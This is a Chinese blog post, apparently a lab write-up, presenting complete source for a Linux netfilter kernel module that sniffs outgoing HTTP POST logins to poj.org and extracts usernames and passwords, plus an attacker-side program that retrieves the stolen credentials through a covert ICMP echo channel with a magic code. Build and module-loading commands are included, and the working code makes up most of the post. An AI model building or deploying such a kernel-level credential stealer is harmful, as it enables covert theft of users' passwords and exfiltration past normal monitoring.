攻击主机 192.168.163.132 Ubuntu20.04(5.13.0-39-generic)
受害主机 192.168.163.135 Ubuntu16.04(4.15.0-112-generic)
Netfilter是从Linux 2.4开始引入内核的一个子系统,架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理(如包过滤,NAT等,以及可以是 用户自定义的功能)。
NF_INET_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;
NF_INET_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
NF_INET_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
NF_INET_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;
NF_INET_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。
netfilter是基于内核模块变成实现的,要实现http报文的窃取,首先要在受害者主机上安装sniff模块,sniff.c代码如下,实现了对http://poj.org网站登陆时的密码窃取
sniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x77 // ICMP CODE
#define REPLY_SIZE 36 // tartget_ip(4B) + username(16B) + password(16B)
#define SUCCESS 1
#define FAILURE -1
#define IP_168_235_95_213 3579833256 // http://poj.org/ 小端存储
static const char *post_uri = "POST /login";
static const int post_uri_len = 11;
static const unsigned int target_ip = IP_168_235_95_213;
static char *username = NULL;
static char *password = NULL;
// 定义
static struct nf_hook_ops pre_hook;
static struct nf_hook_ops post_hook;
/**
* 过滤器:发现我想要的数据包,如下:
* dest_ip:168.235.95.213 (poj.org)
* tcp_dest_port:80
* POST_URI:POST /login
*
* @return SUCCESS/FAILURE
*/
static unsigned int findpkt_iwant(struct sk_buff *skb)
{
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL;
int tcp_payload_len = 0;
//skb是ip数据报缓存 skb_network_header(skb)是返回ip数据报的首部
ip = (struct iphdr *)skb_network_header(skb);
if (ip->daddr != IP_168_235_95_213 || ip->protocol != IPPROTO_TCP)
return FAILURE;
tcp = (struct tcphdr *)skb_transport_header(skb); //tcp报文字段的长度
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - (tcp->doff << 2); //指向tcp报文段的数据部分
data = (char *)((char *)tcp + (tcp->doff << 2));
// 过滤
if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0)
{
return FAILURE;
}
printk("--------------- findpkt_iwant ------------------\n");
printk("ip_hdrlen: %d\n", (ip->ihl << 2));
printk("tcp_hdrlen: %d\n", (tcp->doff << 2));
printk("ip_total_len: %d\n", ntohs(ip->tot_len));
printk("tcp_payload_len: %d\n", tcp_payload_len);
printk("ip_addr: 0x%p\n", ip);
printk("tcp_addr: 0x%p\n", tcp);
printk("tcp_data_addr: 0x%p\n", data);
printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]);
printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]);
printk("--------------- findpkt_iwant ------------------\n");
return SUCCESS;
}
/**
* 使用KMP算法进行字符串匹配
* @return 匹配(>=0)/未匹配(-1)
*/
static int kmp(const char *cs, int cslen, const char *ct, int ctlen)
{
int i = 0, j = -1;
int *next = NULL;
// 1) get next[]
next = (int *)kmalloc(ctlen * sizeof(int), GFP_KERNEL);
if (next == NULL)
return -1;
next[0] = -1, next[1] = 0;
while (i < ctlen)
{
if (j == -1 || ct[i] == ct[j])
{
i++, j++;
next[i] = j;
}
else
{
j = next[j];
}
}
// 2) match
i = 0, j = 0;
while (i < cslen && j < ctlen)
{
if (j == -1 || cs[i] == ct[j])
{
i++, j++;
}
else
{
j = next[j];
}
}
kfree(next);
next = NULL;
return j >= ctlen ? (i - ctlen) : -1;
}
/**
* 从URL的参数中提取key对应的value值
* 比如:uid=lichaoxi&password=1234
* @param urlparam urlparam的首地址
* @param ulen url的长度
* @param key 如:uid=,password=
* @param klen key的长度(注意后面还有个=号)
* @return 成功找到(包含value的字符串首地址)/失败(NULL)
*/
char *fetch_urlparam(char *urlparam, int ulen, char *key, int klen)
{
int index = 0, i = 0;
char *value = NULL;
if ((index = kmp(urlparam, ulen, key, klen)) == -1)
return NULL;
urlparam += (index + klen);
ulen -= (index + klen);
// username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26
// http://www.atool88.com/urlencode.php
for (i = 0; i < ulen && urlparam[i] != '&'; i++)
;
if (i >= ulen)
return NULL;
// i + 1, for the last char '\0'
if ((value = (char *)kmalloc(sizeof(char) * (i + 1), GFP_KERNEL)) == NULL)
return NULL;
memcpy(value, urlparam, i);
value[i] = '\0';
return value;
}
/**
* 从HTTP数据包中抓取 username, password
* 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤
*/
static void fetch_http(struct sk_buff *skb)
{
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
int tcp_payload_len = 0;
int i = 0, index = -1;
int content_len = 0; // Cotent-Length
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - (tcp->doff << 2);
data = (char *)tcp + (tcp->doff << 2);
// e.g: Content-Length: 77\r\n
index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
if (index == -1)
return;
data += (index + 16); // data point to: 77\r\n
for (i = 0; data[i] != '\r'; i++)
content_len = content_len * 10 + ((int)data[i] - '0');
// now content_len = 77
// data point to layer: HTML Form URL Encode
data = (char *)tcp + (tcp->doff << 2) + (tcp_payload_len - content_len);
// 1) fetch username
username = fetch_urlparam(data, content_len, "user_id1=", 9);
// 2) fetch password
password = fetch_urlparam(data, content_len, "password1=", 10);
if (username == NULL || password == NULL)
return;
printk("----------------- fetch_http -------------------\n");
printk("content_len = %d\n", content_len);
printk("urlencode(username): %s\n", username);
printk("urlencode(password): %s\n", password);
printk("----------------- fetch_http -------------------\n");
}
/**
* 是否已经抓取到一对<用户名,密码>
* @return 是(1)/否(0)
*/
static int hasPair(void)
{
return username != NULL && password != NULL;
}
/**
* POST_ROUTING,将数据包发送出去的前一个HOOK点;
* 用于监听本机往外发送的数据包,并从中提取出所需的username,password;
* 下面实现的是对于网址 http://poj.org/ 的监听
*/
static unsigned int watch_out(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state)
{
if (findpkt_iwant(skb) == FAILURE)
return NF_ACCEPT;
printk("findpkt_iwant ====> SUCCESS\n");
if (!hasPair())
fetch_http(skb);
printk("user=%s,password=%s",username,password);
return NF_ACCEPT;
}
/**
* PRE_ROUTING,接收数据包的第一个HOOK点;
* 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77),
* 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker;
*/
// skb是套接字缓存
static unsigned int watch_in(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state)
{
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0;
char *cp_data = NULL; // copy pointer
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
ip = (struct iphdr *)skb_network_header(skb);
if (!hasPair() || ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)((char *)ip + (ip->ihl << 2));
// 最后8字节为 ICMP首部长度,ntohs将16位数由网络字节顺序转换为主机字节顺序
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl << 2) - 8;
// 过滤掉不是攻击者发来的包
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE)
{
return NF_ACCEPT;
}
// 因为要往回发包,所以交换源、目的IP
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
skb->pkt_type = PACKET_OUTGOING;
switch (skb->dev->type)
{
case ARPHRD_PPP:
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
// Move the data pointer to point to the link layer header
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char *)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
break;
}
}
// 把ip地址,用户名,密码复制到icmp包中
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4);
memcpy(cp_data + 4, username, 16);
memcpy(cp_data + 20, password, 16);
printk("watch_in STOLEN ====> SUCCESS\n");
printk("urlencode(username): %s\n", username);
printk("urlencode(password): %s\n", password);
// 上层准备好数据包后,调用dev_queue_xmit发送该数据帧
dev_queue_xmit(skb);
kfree(username);
kfree(password);
username = password = NULL;
// 告诉Netfilter忘记它曾经看到过这个数据包
return NF_STOLEN;
}
int init_module(void)
{
// 钩子1:挂到pre_routing上
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET; //指定协议族
pre_hook.hooknum = NF_INET_PRE_ROUTING; //hooknum指定5个钩子中的一个
pre_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
// 钩子2:挂到post_routing上
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING;
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &post_hook);
printk("init_module\n");
return 0;
}
void cleanup_module(void)
{
// 取消注册两个钩子函数
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("cleanup_module\n");
}
Makefile
# Makefile 4.0
obj-m := sniff.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
然后执行
sudo make
编译成功的话文件夹下会出现sniff.ko的文件,然后执行。
sudo insmod sniff.ko
sudo lsmod | grep sniff
输入dmesg查看内核打印的信息
代表模块已经成功加载。接下来是需要在攻击主机运行的代码(不需要使用内核编程)
思路是和已经安装在受害者主机上的sniff模块设定好一个ICMP CODE(我这里设置的是0x77),攻击者主机向受害者主机发送ICMP请求报文,并将ICMP CODE设置好,受害者主机收到后便会将所窃取到的账号密码发送回攻击者。
getpwd.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#include <arpa/inet.h>
#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x77
struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];
int load_args(const int argc, char **);
void print_cmdprompt();
int send_icmp_request();
int recv_icmp_reply();
unsigned short cksum(unsigned short *, int len);
void print_ippacket_inbyte(unsigned char *);
int main(int argc, char **argv)
{
// 输入的地址有误
if (load_args(argc, argv) < 0)
{
printf("command format error!\n");
print_cmdprompt();
return FAILURE;
}
// 构造两个原始套接字
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0)
{
perror("socket creation error");
return FAILURE;
}
printf("running...\n");
// 发送ICMP ECHO 回送请求报文
send_icmp_request();
// 接收ICMP ECHO 回送回答报文
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
// 判断输入的参数是否有误
int load_args(const int argc, char *argv[])
{
//inet_aton将参数argv[1]所指的网络地址字符串转换成网络使用的二进制的数字,然后存于参数sin_addr所指的in_addr结构中
if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
return FAILURE;
return SUCCESS;
}
void print_cmdprompt()
{
printf("\ngetpass [remoteip]\n\n");
printf("\t [remoteip] Victim host IP address, eg: 192.168.107.132\n");
}
int send_icmp_request()
{
// 将sendbuff清0
bzero(sendbuff, BUFF_SIZE);
// 构造ICMP ECHO首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE;
icmp->icmp_cksum = 0;
// 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........\n");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0)
{
perror("send error");
}
else
{
printf("send a icmp echo request packet!\n\n");
}
return SUCCESS;
}
int recv_icmp_reply()
{
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......\n");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0)
{
printf("failed getting reply packet\n");
return FAILURE;
}
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
memcpy(&server_addr, (char *)icmp + 8, 4);
// 打印IP包字节数据,便于调试
print_ippacket_inbyte(recvbuff);
printf("stolen from http server: %s\n", inet_ntoa(server_addr)); //inet_ntoa的功能是将网络地址转换成“.”点隔的字符串格式
printf("username: %s\n", (char *)((char *)icmp + 12));
printf("password: %s\n", (char *)((char *)icmp + 28));
return SUCCESS;
}
unsigned short cksum(unsigned short *addr, int len)
{
int sum = 0;
unsigned short res = 0;
// len -= 2,sizeof(unsigned short) = 2;
// sum += *(addr++),每次偏移2Byte
for (; len > 1; sum += *(addr++), len -= 2)
;
// 每次处理2Byte,可能会存在多余的1Byte
sum += len == 1 ? *addr : 0;
// sum:高16位 + 低16位,高16位中存在可能的进位
sum = (sum >> 16) + (sum & 0xffff);
// sum + sum的高16位,高16位中存在可能的进位
sum += (sum >> 16);
// 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
res = ~sum;
return res;
}
// 二进制形式打印ip数据包
void print_ippacket_inbyte(unsigned char *ipbuff)
{
struct ip *ip = (struct ip *)ipbuff;
printf(" %02x %02x", ipbuff[0], ipbuff[1]);
for (int i = 0, len = ntohs(ip->ip_len) - 2; i < len; i++)
{
if (i % 16 == 0)
printf("\n");
if (i % 8 == 0)
printf(" ");
printf("%02x ", ipbuff[i + 2]);
}
printf("\n");
}
gcc getpwd.c -o getpwd
编译好后还不能直接运行,这时受害者主机还没有访问 http://poj.org/,使用受害者主机打开网站随便输入一对账号密码。然后在受害者主机上用dmesg打印内核的信息可以看到已经窃取到账号密码。
这时再使用攻击者主机执行
sudo ./getpwd <受害者ip>
可以看到已经将账号密码成功窃取。
总结
1、这个实验遇到了很多问题,最开始时受害者主机的版本是Ubuntu20.04LTS,内核版本是5.13的,编写内核模块时始终成功不了,最后将Ubuntu的版本换成了Ubuntu16.04后就成功了,应该是有些版本更新的问题没有考虑进去。
2、最开始测试时一直都用的是
NF_INET_PRE_ROUTING
然后怎么也抓不到http的包,打印消息看到发的包目的IP要么是本机IP,要么是127.0.0.1,127.0.1.1,224.0.0.251,都是一些特定的地址。
后来将把hook点改成了
NF_IP_POST_ROUTING
就成功抓到了http的包。
————————————————
版权声明:本文为CSDN博主「m0_63334846」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_63334846/article/details/124476399
基于netfilter实现对http报文过滤,并并窃取http报文的用户名和密码_http报文帐户密码_m0_63334846的博客-CSDN博客